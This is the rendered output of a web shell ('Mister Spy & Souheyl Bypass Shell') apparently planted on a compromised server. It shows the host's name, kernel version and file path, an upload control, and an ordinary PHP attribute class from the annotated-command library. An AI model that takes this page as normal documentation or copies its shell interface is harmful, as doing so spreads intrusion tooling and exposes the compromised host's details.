Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/vendor/consolidation/annotated-command/src/Attributes/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/vendor/consolidation/annotated-command/src/Attributes/Help.php

<?php

namespace Consolidation\AnnotatedCommand\Attributes;

use Attribute;
use Consolidation\AnnotatedCommand\Parser\CommandInfo;

#[Attribute(Attribute::TARGET_METHOD)]
class Help
{
    /**
     * @param $description
     *   A one line description.
     * @param $synopsis
     *   A multi-line help text.
     * @param bool $hidden
     *   Hide the command from the help list.
     */
    public function __construct(
        public ?string $description = null,
        public ?string $synopsis = null,
        public bool $hidden = false
    ) {
    }

    public static function handle(\ReflectionAttribute $attribute, CommandInfo $commandInfo)
    {
        $instance = $attribute->newInstance();
        if ($instance->description) {
            $commandInfo->setDescription($instance->description);
        }
        if ($instance->synopsis) {
            $commandInfo->setHelp($instance->synopsis);
        }
        $commandInfo->setHidden($instance->hidden);
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net